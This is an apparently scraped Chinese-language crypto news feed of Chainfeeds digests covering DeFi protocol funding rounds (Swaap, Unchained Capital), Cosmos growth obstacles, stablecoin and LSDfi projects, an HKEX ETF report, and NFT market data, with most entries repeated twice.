    做市商协议 Swaap 完成 450 万美元种子轮融资，Signature Ventures 领投 做市商协议 Swaap 宣布完成 450 万美元种子轮融资，Signature Ventures 领投，New Form Capital、C²Ventures、Kima Ventures、Pareto Ventures、Entrepreneur First，以及 Julien Bouteloup（Stake Capital）、Pascal Gauthier（Ledger CEO）、Richard Ma（Quantstamp CEO）、Tegan Kline（The Graph）、Meltem Demirors（Coinshares CSO）、Frederic Montagnon（Arianee 联合创始人）和 Thibaud Elzière（eFounders CEO）等天使投资人参投。 Swaap 构建了下一代做市商协议，利用预言机和动态价差的组合实现可持续收益并降低交易成本。其独特的方法旨在为 LP 提供被动和盈利的做市策略，以解决 DeFi 中普遍存在的无常损失这一关键问题。 内容来源 观点： Cyrille Pastour：在我们努力使 DeFi 民主化并为流动性提供者创造一个更高效的环境时，我们很高兴得到了投资者的支持。这笔资金将使我们能够加快 Swaap v2 的开发和发布，它有望为 DeFi 生态系统中的 LP 和交易者提供更多价值。【原文为英文】 内容来源 Dr. Georg (Juri) Stricker：我们很自豪能与 Swaap Labs 的优秀团队合作，并成为他们旅程的一部分。我们认为 Swaap 的做市商协议是 DeFi 真正的游戏规则改变者。Swaap 建立在可扩展性越来越强的公链基础设施以及更加透明和强大的预言机基础设施之上，正在为流动性提供者和交易者设定 DEX 效率的新标准。通过提供更稳定的收益和可持续的回报，我们相信 Swaap 是 DeFi 向金融系统发展的一个重要基石。【原文为英文】 内容来源  ( 57 min )
    【英文长推】观点：阻碍 Cosmos 发展的 5 大因素
    Chainfeeds 导读： Cosmos 生态 MEV 基础设施 Skip Protocol 团队成员 Sam Hart 撰文总结了 5 个阻碍 Cosmos 发展的因素，分别是：流动性缺乏、开发者进入困难、采用困难、用户体验复杂以及缺乏差异化的应用。 文章来源： https://twitter.com/hxrts/status/1648324518354599940 文章作者： Sam Hart 观点： Sam Hart：流动性：流动性质押 + USDC 奖励可能会是一个好方法，但我们需要发展新的市场。开发者关系：Cosmos SDK 的文档还可以，但 CosmWasm 的文档很少，新开发者进入困难，因为知识是孤立的。采用：对于机构采用者来说，支持一个新的 Cosmos 链是非常缓慢 / 昂贵的，这进一步限制了流动性。【原文为英文】 内容来源 Sam Hart：用户体验：与多条链的交互仍然很糟糕，需要 IBC 展开（unwind）和其他链的费用市场。差异化的应用：Cosmos 正在慢慢丰富 DeFi 生态，但它需要的是在其他网络无法建立的产品类别，从而带来新的用户。【原文为英文】 内容来源  ( 2 min )
    【英文长推】观点：阻碍 Cosmos 发展的 5 大因素
    Chainfeeds 导读： Cosmos 生态 MEV 基础设施 Skip Protocol 团队成员 Sam Hart 撰文总结了 5 个阻碍 Cosmos 发展的因素，分别是：流动性缺乏、开发者进入困难、采用困难、用户体验复杂以及缺乏差异化的应用。 文章来源： https://twitter.com/hxrts/status/1648324518354599940 文章作者： Sam Hart 观点： Sam Hart：流动性：流动性质押 + USDC 奖励可能会是一个好方法，但我们需要发展新的市场。开发者关系：Cosmos SDK 的文档还可以，但 CosmWasm 的文档很少，新开发者进入困难，因为知识是孤立的。采用：对于机构采用者来说，支持一个新的 Cosmos 链是非常缓慢 / 昂贵的，这进一步限制了流动性。【原文为英文】 内容来源 Sam Hart：用户体验：与多条链的交互仍然很糟糕，需要 IBC 展开（unwind）和其他链的费用市场。差异化的应用：Cosmos 正在慢慢丰富 DeFi 生态，但它需要的是在其他网络无法建立的产品类别，从而带来新的用户。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜Optimism 生态中的稳定币协议 Ethos Reserve
    Chainfeeds 导读： Ethos Reserve 在 DeFi 中提供了 ETH 「最佳」的借贷利率。加密货币 KOL Crypto Linn 从锚定机制、产品优势等方面介绍了此项目。 文章来源： https://twitter.com/crypto_linn/status/1648409364351393793 文章作者： Crypto Linn 观点： Crypto Linn：Ethos Reserve 是一个收益强大的机构，能够向 ERN 存款人和流动性提供者提供最优秀的年化百分比利率（APR）。这是通过使用基础抵押品产生低风险收益来实现的。Ethos Reserve 旨在解决过去一年中出现的未充足担保稳定币和传统银行业务所面临问题。【原文为英文】 内容来源 Crypto Linn：ERN 旨在以 1 美元为锚定点，但是由于其早期增长阶段对高收益的需求通常会使其交易价格保持在标记以上。因此，ERN 可以被认为区间限制在 1 美元至 1.08 美元。超过 1.08 美元后，以下策略可能变得有利可图：使用 108％ 抵押率的 ETH 铸造 ERN。 在 Velodrome Finance 或 Beethoven 上用 ETH 或 USDC 出售 ERN。赎回是允许用户将 1 个 ERN 交换为 1 美元抵押品的过程。此过程带有 0.5% 的费用，并在 ERN 低于锚定价时由机器人执行。这种机制促进了套利并使抵押品池保持健康。【原文为英文】 内容来源 Crypto Linn：稳定性池是使 Ethos Reserve 具有弹性和可持续性的机制。通过收取赎回费用并用它们在市场上购买 ERN 从而确保 ERN 价格即使在高需求时也保持锚定在 1 美元左右。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜Optimism 生态中的稳定币协议 Ethos Reserve
    Chainfeeds 导读： Ethos Reserve 在 DeFi 中提供了 ETH 「最佳」的借贷利率。加密货币 KOL Crypto Linn 从锚定机制、产品优势等方面介绍了此项目。 文章来源： https://twitter.com/crypto_linn/status/1648409364351393793 文章作者： Crypto Linn 观点： Crypto Linn：Ethos Reserve 是一个收益强大的机构，能够向 ERN 存款人和流动性提供者提供最优秀的年化百分比利率（APR）。这是通过使用基础抵押品产生低风险收益来实现的。Ethos Reserve 旨在解决过去一年中出现的未充足担保稳定币和传统银行业务所面临问题。【原文为英文】 内容来源 Crypto Linn：ERN 旨在以 1 美元为锚定点，但是由于其早期增长阶段对高收益的需求通常会使其交易价格保持在标记以上。因此，ERN 可以被认为区间限制在 1 美元至 1.08 美元。超过 1.08 美元后，以下策略可能变得有利可图：使用 108％ 抵押率的 ETH 铸造 ERN。 在 Velodrome Finance 或 Beethoven 上用 ETH 或 USDC 出售 ERN。赎回是允许用户将 1 个 ERN 交换为 1 美元抵押品的过程。此过程带有 0.5% 的费用，并在 ERN 低于锚定价时由机器人执行。这种机制促进了套利并使抵押品池保持健康。【原文为英文】 内容来源 Crypto Linn：稳定性池是使 Ethos Reserve 具有弹性和可持续性的机制。通过收取赎回费用并用它们在市场上购买 ERN 从而确保 ERN 价格即使在高需求时也保持锚定在 1 美元左右。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜更加去中心化的 LSDfi 协议：unshETH
    Chainfeeds 导读： Coinbase、Lido、Frax 的 LSD 都在某种程度上受到中心化的困扰，unshETH 正在解决中心化的问题。加密货币 KOL DeFi Sorcerer 从产品、路线图、代币角度介绍了此项目。 文章来源： https://twitter.com/sorcerer_defi/status/1645380656820793344 文章作者： DeFi Sorcerer 观点： DeFi Sorcerer：unshETH 是一个名为 LSDfi 的新类别的原语 —— 建立在流动质押衍生品 （LSD） 之上的 DeFi 应用程序。LSDfi 使市场能够获得收益、验证者垄断、削减风险，甚至验证者审查。unshETH 旨在通过激励优先考虑验证器去中心化的方式，在 LSD 生态系统中分配资本。【原文为英文】 内容来源 DeFi Sorcerer：产品：1）验证者去中心化挖矿（vdMining），vdMining 是一种代币分配机制，以符合 unshETH 社区设定的最佳去中心化比率的方式奖励用户质押他们的 LSD。vdMining 池中质押的 LSD 与总质押的 LSD 的比率越接近最佳去中心化比率，池中所有用户的收益就越高。【原文为英文】 内容来源 DeFi Sorcerer：2）验证者支配选项（VDO）允许主导 LSD 持有者在自己的验证器主导地位上编写选项。允许为非主导 LSD 持有者创造收益，同时也为主导持有者提供了一种从他们已经建立的主导地位中赚取额外收入的方法。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜更加去中心化的 LSDfi 协议：unshETH
    Chainfeeds 导读： Coinbase、Lido、Frax 的 LSD 都在某种程度上受到中心化的困扰，unshETH 正在解决中心化的问题。加密货币 KOL DeFi Sorcerer 从产品、路线图、代币角度介绍了此项目。 文章来源： https://twitter.com/sorcerer_defi/status/1645380656820793344 文章作者： DeFi Sorcerer 观点： DeFi Sorcerer：unshETH 是一个名为 LSDfi 的新类别的原语 —— 建立在流动质押衍生品 （LSD） 之上的 DeFi 应用程序。LSDfi 使市场能够获得收益、验证者垄断、削减风险，甚至验证者审查。unshETH 旨在通过激励优先考虑验证器去中心化的方式，在 LSD 生态系统中分配资本。【原文为英文】 内容来源 DeFi Sorcerer：产品：1）验证者去中心化挖矿（vdMining），vdMining 是一种代币分配机制，以符合 unshETH 社区设定的最佳去中心化比率的方式奖励用户质押他们的 LSD。vdMining 池中质押的 LSD 与总质押的 LSD 的比率越接近最佳去中心化比率，池中所有用户的收益就越高。【原文为英文】 内容来源 DeFi Sorcerer：2）验证者支配选项（VDO）允许主导 LSD 持有者在自己的验证器主导地位上编写选项。允许为非主导 LSD 持有者创造收益，同时也为主导持有者提供了一种从他们已经建立的主导地位中赚取额外收入的方法。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 2023 年 6 个大额融资项目：为何受到 VC 青睐？
    Chainfeeds 导读： 随着三箭资本和 Alameda 等许多加密货币风险投资公司的破产，加密货币项目筹集的资金数额有所下降，但仍然有多个项目在 2023 年获得了大额融资。加密 KOL The DeFi Investor 根据融资金额大小，盘点了 6 个大额融资项目及其进展。 文章来源： https://twitter.com/TheDeFinvestor/status/1648314221606871041 文章作者： The DeFi Investor 观点： The DeFi Investor：LayerZero（1.2 亿美元）一个全链（omnichain）互操作性协议。与其他桥相比，LayerZero 提供了无需信任的跨链通信，而不依赖中心化一方。a16z 和红杉资本参与了该轮融资。Scroll（5000 万美元）是一个 zkEVM 以太坊扩展解决方案，目标是创建 EVM Equivalence 的 zkEVM。Scroll Alpha 测试网目前已经上线，主网预计将于 2023 年第四季度推出。Polychain Capital 和红杉资本是参与该轮融资的知名风投公司。【原文为英文】 内容来源 The DeFi Investor：EigenLayer（5000 万美元）是一个以太坊重质押解决方案。ETH 验证者可以选择保护其他应用程序或网络以换取收益。协议也可以使用 EigenLayer 从 ETH 验证者那里租借安全。该轮融资由 Blockchain Capital 领投。Fetch.ai（4000 万美元）是一个区块链平台，建设者使用人工智能来帮助用户自动完成日常任务，以实现创作者经济。Fetch.ai 从 DWF Labs 筹集了 4000 万美元。【原文为英文】 内容来源 The DeFi Investor：Plai Labs（3200 万美元）正在建立一个 Web3 社交平台。目前，他们开发的第一款游戏 Champions Ascension 正处于 pre-alpha 阶段。该轮种子轮融资由 a16z 领投。Sei Network（3000 万美元）是一个专门用于交易的 L1 区块链，目前测试网已经上线，且确认了空投计划。Jump Crypto 和 Multicoin Capital 是 Sei 的投资方。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 2023 年 6 个大额融资项目：为何受到 VC 青睐？
    Chainfeeds 导读： 随着三箭资本和 Alameda 等许多加密货币风险投资公司的破产，加密货币项目筹集的资金数额有所下降，但仍然有多个项目在 2023 年获得了大额融资。加密 KOL The DeFi Investor 根据融资金额大小，盘点了 6 个大额融资项目及其进展。 文章来源： https://twitter.com/TheDeFinvestor/status/1648314221606871041 文章作者： The DeFi Investor 观点： The DeFi Investor：LayerZero（1.2 亿美元）一个全链（omnichain）互操作性协议。与其他桥相比，LayerZero 提供了无需信任的跨链通信，而不依赖中心化一方。a16z 和红杉资本参与了该轮融资。Scroll（5000 万美元）是一个 zkEVM 以太坊扩展解决方案，目标是创建 EVM Equivalence 的 zkEVM。Scroll Alpha 测试网目前已经上线，主网预计将于 2023 年第四季度推出。Polychain Capital 和红杉资本是参与该轮融资的知名风投公司。【原文为英文】 内容来源 The DeFi Investor：EigenLayer（5000 万美元）是一个以太坊重质押解决方案。ETH 验证者可以选择保护其他应用程序或网络以换取收益。协议也可以使用 EigenLayer 从 ETH 验证者那里租借安全。该轮融资由 Blockchain Capital 领投。Fetch.ai（4000 万美元）是一个区块链平台，建设者使用人工智能来帮助用户自动完成日常任务，以实现创作者经济。Fetch.ai 从 DWF Labs 筹集了 4000 万美元。【原文为英文】 内容来源 The DeFi Investor：Plai Labs（3200 万美元）正在建立一个 Web3 社交平台。目前，他们开发的第一款游戏 Champions Ascension 正处于 pre-alpha 阶段。该轮种子轮融资由 a16z 领投。Sei Network（3000 万美元）是一个专门用于交易的 L1 区块链，目前测试网已经上线，且确认了空投计划。Jump Crypto 和 Multicoin Capital 是 Sei 的投资方。【原文为英文】 内容来源  ( 2 min )
    【长推】港交所报告解读：ETF 与全球金融市场虚拟资产生态圈的发展
    Chainfeeds 导读： 4 月，港交所发布「ETF 与全球金融市场虚拟资产生态圈的发展」研究报告，话题涵盖全球虚拟资产及其监管制度的发展、世界各地虚拟资产 ETF 的市场表现、香港本土加密政策演变及香港 ETF 产品现状等诸多内容。 文章来源： https://twitter.com/TechFlowPost/status/1648235630613368832 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：总量上，加密市场最近 3 年的市值规模的扩大，或是逐渐引起港交所关注的原因；结构上，加密资产的持有者增加，且交易结构上衍生品的比重逐渐扩大；比特币的市值呈现缩小趋势，但依然是中流砥柱；以太坊的市值逐渐扩大，同期稳定币也呈现出相同特征；标普 500 指数与比特币价格的每日回报之间的相关系数由 2017 年至 2019 年间的 0.012 上升至 2020 年至 2022 年的 0.405。 内容来源 深潮 TechFlow：虚拟资产 ETF 的特征及目前市场规模：产品本身：实物 ETF（持有实物虚拟资产）；虚拟 ETF（持有期货合约）；标的类型 ： BTC + ETH 是主流，同时也有 DeFi 指数；管理策略：「只限长持」 、「期权组合」、「反向（短仓）策略」、「加密货币指数」；规模和数量上，北美和英国走在前列。 内容来源 深潮 TechFlow：香港推出的亚洲首批虚拟资产 ETF：2022 年 12 月 16 日在香港交易所上市 2 只 ETF：比特币期货 ETF + 以太坊期货 ETF；2023 年 1 月，香港市场再有第三只虚拟资产 ETF 上市；采用主动型管理策略，相关资产是在 CME 交易的标准化、现金结算的期货合约；ETF 的平均每日成交额约为 930 万港元。 内容来源  ( 2 min )
    【长推】港交所报告解读：ETF 与全球金融市场虚拟资产生态圈的发展
    Chainfeeds 导读： 4 月，港交所发布「ETF 与全球金融市场虚拟资产生态圈的发展」研究报告，话题涵盖全球虚拟资产及其监管制度的发展、世界各地虚拟资产 ETF 的市场表现、香港本土加密政策演变及香港 ETF 产品现状等诸多内容。 文章来源： https://twitter.com/TechFlowPost/status/1648235630613368832 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：总量上，加密市场最近 3 年的市值规模的扩大，或是逐渐引起港交所关注的原因；结构上，加密资产的持有者增加，且交易结构上衍生品的比重逐渐扩大；比特币的市值呈现缩小趋势，但依然是中流砥柱；以太坊的市值逐渐扩大，同期稳定币也呈现出相同特征；标普 500 指数与比特币价格的每日回报之间的相关系数由 2017 年至 2019 年间的 0.012 上升至 2020 年至 2022 年的 0.405。 内容来源 深潮 TechFlow：虚拟资产 ETF 的特征及目前市场规模：产品本身：实物 ETF（持有实物虚拟资产）；虚拟 ETF（持有期货合约）；标的类型 ： BTC + ETH 是主流，同时也有 DeFi 指数；管理策略：「只限长持」 、「期权组合」、「反向（短仓）策略」、「加密货币指数」；规模和数量上，北美和英国走在前列。 内容来源 深潮 TechFlow：香港推出的亚洲首批虚拟资产 ETF：2022 年 12 月 16 日在香港交易所上市 2 只 ETF：比特币期货 ETF + 以太坊期货 ETF；2023 年 1 月，香港市场再有第三只虚拟资产 ETF 上市；采用主动型管理策略，相关资产是在 CME 交易的标准化、现金结算的期货合约；ETF 的平均每日成交额约为 930 万港元。 内容来源  ( 2 min )
    【英文长推】LayerZero 生态跨链协议 Cashmere：释放资产互操作性的潜力
    Chainfeeds 导读： Cashmere 是一个在 LayerZero 上运行的 DEX 聚合器和稳定币交易平台，提供了无需桥接资产的无缝交易体验。加密研究员 neo pups 从当前资产跨链存在的问题、Cashmere 的解决方案以及 CSM 代币经济学等方面介绍了该项目。 文章来源： https://twitter.com/orderflowOG/status/1648393818239115266 文章作者： neo pups 观点： neo pups：现有跨链聚合器的问题：缺少有效的链间原生资产交易方案；现有合成资产跨链方案限制了真正的资产互操作性；中心化的交易过程阻碍了去中心架构的发展；对途径和特定资产的支持有限；低流动性、高滑点导致资产交易效率低下；容易受到 MEV 和前置交易攻击。【原文为英文】 内容来源 neo pups：Cashmere 的解决方案：无缝跨链互换，无需桥接；提供单边稳定币流动性池，消除了 LP 的无常损失，同时也减少了交易者的滑点；使用自己的流动性进行稳定币交换，作为 L1 和 L2 解决方案；利用所有跨网络的 DEX 流动性，将滑点降至最低。【原文为英文】 内容来源 neo pups：Cashmere 代币 CSM 最大供应量为 1 亿。CSM 用于激励流动性提供者，并鼓励用户参与治理。CSM 可以被锁定以获得 veCSM 并获得 100% 的交易费用。LP 可以通过锁定 CSM 来提高收益。Cashmere 测试网正在 11 个区块链网络上运行。【原文为英文】 内容来源  ( 2 min )
    【英文长推】LayerZero 生态跨链协议 Cashmere：释放资产互操作性的潜力
    Chainfeeds 导读： Cashmere 是一个在 LayerZero 上运行的 DEX 聚合器和稳定币交易平台，提供了无需桥接资产的无缝交易体验。加密研究员 neo pups 从当前资产跨链存在的问题、Cashmere 的解决方案以及 CSM 代币经济学等方面介绍了该项目。 文章来源： https://twitter.com/orderflowOG/status/1648393818239115266 文章作者： neo pups 观点： neo pups：现有跨链聚合器的问题：缺少有效的链间原生资产交易方案；现有合成资产跨链方案限制了真正的资产互操作性；中心化的交易过程阻碍了去中心架构的发展；对途径和特定资产的支持有限；低流动性、高滑点导致资产交易效率低下；容易受到 MEV 和前置交易攻击。【原文为英文】 内容来源 neo pups：Cashmere 的解决方案：无缝跨链互换，无需桥接；提供单边稳定币流动性池，消除了 LP 的无常损失，同时也减少了交易者的滑点；使用自己的流动性进行稳定币交换，作为 L1 和 L2 解决方案；利用所有跨网络的 DEX 流动性，将滑点降至最低。【原文为英文】 内容来源 neo pups：Cashmere 代币 CSM 最大供应量为 1 亿。CSM 用于激励流动性提供者，并鼓励用户参与治理。CSM 可以被锁定以获得 veCSM 并获得 100% 的交易费用。LP 可以通过锁定 CSM 来提高收益。Cashmere 测试网正在 11 个区块链网络上运行。【原文为英文】 内容来源  ( 2 min )
    【英文】Polygone 的终局：对话 Polygon 增长主管 Sanket
    Chainfeeds 导读： 加密 KOL Ignas 对话 Polygon 增长主管 Sanket，涵盖话题包括：Polygon PoS 链的意义、对比 Polygon zkEVM 和 zkSync、Polygon 的成功秘诀、Polygon 的终局等内容。 文章来源： https://ignasdefi.substack.com/p/the-endgame-for-polygon-an-ama-with 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：在 Layer 2 时代，L1 尤其是 Polygon PoS 链的意义何在？Polygon 前身为 Matic Network，于 2017 年作为以太坊的扩容解决方案推出。当时，可用的扩容解决方案非常少，而现在以太坊已经赢得了 Layer 1 的游戏并成为结算层。以太坊现在正在从 B2C 链变为 B2B 链，对于需要在应用层进行优化的特定用例，其他 Layer1 可能在生态系统中占有一席之地。【原文为英文】 内容来源 Ignas | DeFi Research：为什么 Polygon 正在构建如此多的扩展解决方案？由于 zkEVM 和其他 ZK 解决方案是新技术，因此很难知道哪种方法最好。这就是为什么我们收购了包括 Hermez、Mir Protocol 和 Miden 等的多个团队。随着时间的推移，这些团队聚集在一起开发 Polygon zkEVM。目前，Polygon 拥有三个主要产品：Polygon PoS Chain、Polygon zkEVM 和 Polygon Supernets。【原文为英文】 内容来源 Ignas | DeFi Research：与 zkSync 相比，Polygon zkEVM 的优势有哪些？Polygon zkEVM 为开发人员提供无摩擦的体验，开发人员无需修改代码即可简单地在 zkEVM 上重新部署他们的以太坊合约。相比之下，zkSync 需要转译和可能引入安全问题的额外步骤。另一个关键的区别是性能，Polygon zkEVM prover 能够在不到两分钟的时间内生成证明，而 zkSync prover 目前还没有发布安全审计报告。【原文为英文】 内容来源  ( 18 min )
    【英文】Polygone 的终局：对话 Polygon 增长主管 Sanket
    Chainfeeds 导读： 加密 KOL Ignas 对话 Polygon 增长主管 Sanket，涵盖话题包括：Polygon PoS 链的意义、对比 Polygon zkEVM 和 zkSync、Polygon 的成功秘诀、Polygon 的终局等内容。 文章来源： https://ignasdefi.substack.com/p/the-endgame-for-polygon-an-ama-with 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：在 Layer 2 时代，L1 尤其是 Polygon PoS 链的意义何在？Polygon 前身为 Matic Network，于 2017 年作为以太坊的扩容解决方案推出。当时，可用的扩容解决方案非常少，而现在以太坊已经赢得了 Layer 1 的游戏并成为结算层。以太坊现在正在从 B2C 链变为 B2B 链，对于需要在应用层进行优化的特定用例，其他 Layer1 可能在生态系统中占有一席之地。【原文为英文】 内容来源 Ignas | DeFi Research：为什么 Polygon 正在构建如此多的扩展解决方案？由于 zkEVM 和其他 ZK 解决方案是新技术，因此很难知道哪种方法最好。这就是为什么我们收购了包括 Hermez、Mir Protocol 和 Miden 等的多个团队。随着时间的推移，这些团队聚集在一起开发 Polygon zkEVM。目前，Polygon 拥有三个主要产品：Polygon PoS Chain、Polygon zkEVM 和 Polygon Supernets。【原文为英文】 内容来源 Ignas | DeFi Research：与 zkSync 相比，Polygon zkEVM 的优势有哪些？Polygon zkEVM 为开发人员提供无摩擦的体验，开发人员无需修改代码即可简单地在 zkEVM 上重新部署他们的以太坊合约。相比之下，zkSync 需要转译和可能引入安全问题的额外步骤。另一个关键的区别是性能，Polygon zkEVM prover 能够在不到两分钟的时间内生成证明，而 zkSync prover 目前还没有发布安全审计报告。【原文为英文】 内容来源  ( 18 min )
    【英文】值得关注的 4 个 ETH Tokyo 黑客松项目
    Chainfeeds 导读： 4 月 16 日，于日本东京举办的 ETH Global Tokyo 主题黑客松正式落幕。加密货币 KOL DeFi Dave 介绍了 4 个值得关注的黑客松项目。 文章来源： https://flywheeloutput.com/p/four-projects-you-need-to-pay-attention 文章作者： DeFi Dave 观点： DeFi Dave：1）ZK3 是一个零知识证明工具包，允许用户在保护隐私的情况下，在 Web 2 和 Web 3 平台上证明身份。通过建立在一种用于私人投票、举报、匿名 DAO 等活动的零知识协议 Semaphore 之上，并使用分散式社交协议 Lens，ZK3 允许用户以私密方式发出信号。【原文为英文】 内容来源 DeFi Dave：2）Caviar 是一种 NFT AMM，允许流动性提供者根据稀有度等特征自定义其债券曲线。经典的共享 NFT 池具有 x*y=k 债券曲线，它将所有东西都视为地板价 NFT。Caviar 还为 LP 提供了共享池和自定义池的选项。【原文为英文】 内容来源 DeFi Dave：3）Bonkler 是一种实验性的储备支持 NFT，并将在未来一年内每天进行供应量有上限的拍卖。由于只有 400 个 Bonkler 存在，每个 Bonkler 的特征和稀缺性将随着时间揭示出来，这使得价格发现与标准 pfp 收藏品大不相同。这些新颖的 NFT 是通货紧缩型的。与旨在展示身份的 Milady Maker 不同，Bonkler 更类似于数字文物。【原文为英文】 内容来源 DeFi Dave：4）HomeDAO 是一个由年轻而充满热情的加密货币建设者组成的初创社区，他们一直在不同领域进行建设。该团队位于牛津大学的 Oxford Crypto Village，并在 ETH Amsterdam、ETH Bogotá、ETH Vietnam、1kx、ETH Denver、ETH Beijing 和现在的 ETH Tokyo 等黑客马拉松比赛中获胜。HomeDAO 已经证明自己是一个不可忽视的力量，并且其当前成员包括 Caviar（NFT AMM）、Footium（足球管理游戏）和 Rhinestone（即插即用账户抽象）。【原文为英文】 内容来源  ( 9 min )
    【英文】值得关注的 4 个 ETH Tokyo 黑客松项目
    Chainfeeds 导读： 4 月 16 日，于日本东京举办的 ETH Global Tokyo 主题黑客松正式落幕。加密货币 KOL DeFi Dave 介绍了 4 个值得关注的黑客松项目。 文章来源： https://flywheeloutput.com/p/four-projects-you-need-to-pay-attention 文章作者： DeFi Dave 观点： DeFi Dave：1）ZK3 是一个零知识证明工具包，允许用户在保护隐私的情况下，在 Web 2 和 Web 3 平台上证明身份。通过建立在一种用于私人投票、举报、匿名 DAO 等活动的零知识协议 Semaphore 之上，并使用分散式社交协议 Lens，ZK3 允许用户以私密方式发出信号。【原文为英文】 内容来源 DeFi Dave：2）Caviar 是一种 NFT AMM，允许流动性提供者根据稀有度等特征自定义其债券曲线。经典的共享 NFT 池具有 x*y=k 债券曲线，它将所有东西都视为地板价 NFT。Caviar 还为 LP 提供了共享池和自定义池的选项。【原文为英文】 内容来源 DeFi Dave：3）Bonkler 是一种实验性的储备支持 NFT，并将在未来一年内每天进行供应量有上限的拍卖。由于只有 400 个 Bonkler 存在，每个 Bonkler 的特征和稀缺性将随着时间揭示出来，这使得价格发现与标准 pfp 收藏品大不相同。这些新颖的 NFT 是通货紧缩型的。与旨在展示身份的 Milady Maker 不同，Bonkler 更类似于数字文物。【原文为英文】 内容来源 DeFi Dave：4）HomeDAO 是一个由年轻而充满热情的加密货币建设者组成的初创社区，他们一直在不同领域进行建设。该团队位于牛津大学的 Oxford Crypto Village，并在 ETH Amsterdam、ETH Bogotá、ETH Vietnam、1kx、ETH Denver、ETH Beijing 和现在的 ETH Tokyo 等黑客马拉松比赛中获胜。HomeDAO 已经证明自己是一个不可忽视的力量，并且其当前成员包括 Caviar（NFT AMM）、Footium（足球管理游戏）和 Rhinestone（即插即用账户抽象）。【原文为英文】 内容来源  ( 9 min )
    【长推】盘点 Binance Labs 新一期投资的 12 个项目：Kinza、Hinkal Protocol、KiloEx …
    Chainfeeds 导读： Binance Labs 作为 Binance 的风险投资和孵化部门，其投资的项目一直备受市场关注。加密货币 KOL 撸币养家｜lubiyangjia.eth 盘点了 Binance Labs 新一期投资的 12 个项目。 文章来源： https://twitter.com/lubi1666/status/1648204366355243008 文章作者： 撸币养家｜lubiyangjia.eth 观点： 撸币养家｜lubiyangjia.eth：1）Kinza 是一种为可靠的 DeFi 生态系统构建的借贷协议，该生态系统专注于安全性，旨在连接流动性的需求和供应，以创建最佳的链上货币市场。2）Hinkal Protocol 是一个易于集成的隐私 SDK，可帮助用户使用适合企业和机构使用的隐私保护 KYC 层匿名化交易。 内容来源 撸币养家｜lubiyangjia.eth：2）KiloEx 是一种用户友好的永久性 DEX，专注于风险管理和资本效率。4）Cashmere Labs 是一个跨链聚合器和稳定交换平台，使用互操作性消息传递在任何链之间交换任何资产，并防止跨链 MEV 攻击。5）EthosX 是一个去中心化金融平台，在链上创建端到端的金融衍生品。 内容来源 撸币养家｜lubiyangjia.eth：6）AltLayer 通过高度可扩展的执行层系统提供特定于应用程序的多链汇总，这些执行层从底层 L1/L2 获得安全性。7）ZKCross 是第一个使用 ZK-WASM 的多链 ZK-Rollup 执行层，它允许 Web2 和 Web3 开发人员使用他们的 ZK-fusion 模型构建 Web3 应用程序。 内容来源  ( 2 min )
    【长推】盘点 Binance Labs 新一期投资的 12 个项目：Kinza、Hinkal Protocol、KiloEx …
    Chainfeeds 导读： Binance Labs 作为 Binance 的风险投资和孵化部门，其投资的项目一直备受市场关注。加密货币 KOL 撸币养家｜lubiyangjia.eth 盘点了 Binance Labs 新一期投资的 12 个项目。 文章来源： https://twitter.com/lubi1666/status/1648204366355243008 文章作者： 撸币养家｜lubiyangjia.eth 观点： 撸币养家｜lubiyangjia.eth：1）Kinza 是一种为可靠的 DeFi 生态系统构建的借贷协议，该生态系统专注于安全性，旨在连接流动性的需求和供应，以创建最佳的链上货币市场。2）Hinkal Protocol 是一个易于集成的隐私 SDK，可帮助用户使用适合企业和机构使用的隐私保护 KYC 层匿名化交易。 内容来源 撸币养家｜lubiyangjia.eth：2）KiloEx 是一种用户友好的永久性 DEX，专注于风险管理和资本效率。4）Cashmere Labs 是一个跨链聚合器和稳定交换平台，使用互操作性消息传递在任何链之间交换任何资产，并防止跨链 MEV 攻击。5）EthosX 是一个去中心化金融平台，在链上创建端到端的金融衍生品。 内容来源 撸币养家｜lubiyangjia.eth：6）AltLayer 通过高度可扩展的执行层系统提供特定于应用程序的多链汇总，这些执行层从底层 L1/L2 获得安全性。7）ZKCross 是第一个使用 ZK-WASM 的多链 ZK-Rollup 执行层，它允许 Web2 和 Web3 开发人员使用他们的 ZK-fusion 模型构建 Web3 应用程序。 内容来源  ( 2 min )
    【长推】Azuki 上涨是因为 BAYC 大户叛逃吗？
    Chainfeeds 导读： 市场上很多人认为 Azuki 上涨其中原因之一是 BAYC 大户转投 Azuki。加密货币 KOL anymose.eth 从数据出发，否定了这一说法。 文章来源： https://twitter.com/anymose96/status/1648349361120878592 文章作者： anymose96 观点： anymose96：BAYC holders 在最近 2 周：买最多的是 Otherside Vessels；买 Azuki 排在第 12 位；买单前 5 有 3 个是 Yuga Labs 产品；Nakamigos 排名第二，有 58 人扫了 534 个；共有 589 个人卖掉了 BAYC，但有 619 个买家。由上面数据可以推测：大户并没有抛弃猴子；卖了也是买 Yuga 系列 NFT 居多；下跌除鲸鱼抛盘危机外，和叙事节奏有关；Azuki 和 BAYC 用户重叠度很低，同时持有 2 个仅有 452 人。 内容来源  ( 2 min )
    【长推】Azuki 上涨是因为 BAYC 大户叛逃吗？
    Chainfeeds 导读： 市场上很多人认为 Azuki 上涨其中原因之一是 BAYC 大户转投 Azuki。加密货币 KOL anymose.eth 从数据出发，否定了这一说法。 文章来源： https://twitter.com/anymose96/status/1648349361120878592 文章作者： anymose96 观点： anymose96：BAYC holders 在最近 2 周：买最多的是 Otherside Vessels；买 Azuki 排在第 12 位；买单前 5 有 3 个是 Yuga Labs 产品；Nakamigos 排名第二，有 58 人扫了 534 个；共有 589 个人卖掉了 BAYC，但有 619 个买家。由上面数据可以推测：大户并没有抛弃猴子；卖了也是买 Yuga 系列 NFT 居多；下跌除鲸鱼抛盘危机外，和叙事节奏有关；Azuki 和 BAYC 用户重叠度很低，同时持有 2 个仅有 452 人。 内容来源  ( 2 min )
    比特币金融服务公司 Unchained Capital 完成 6000 万美元 B 轮融资， Valor Equity Partners 领投
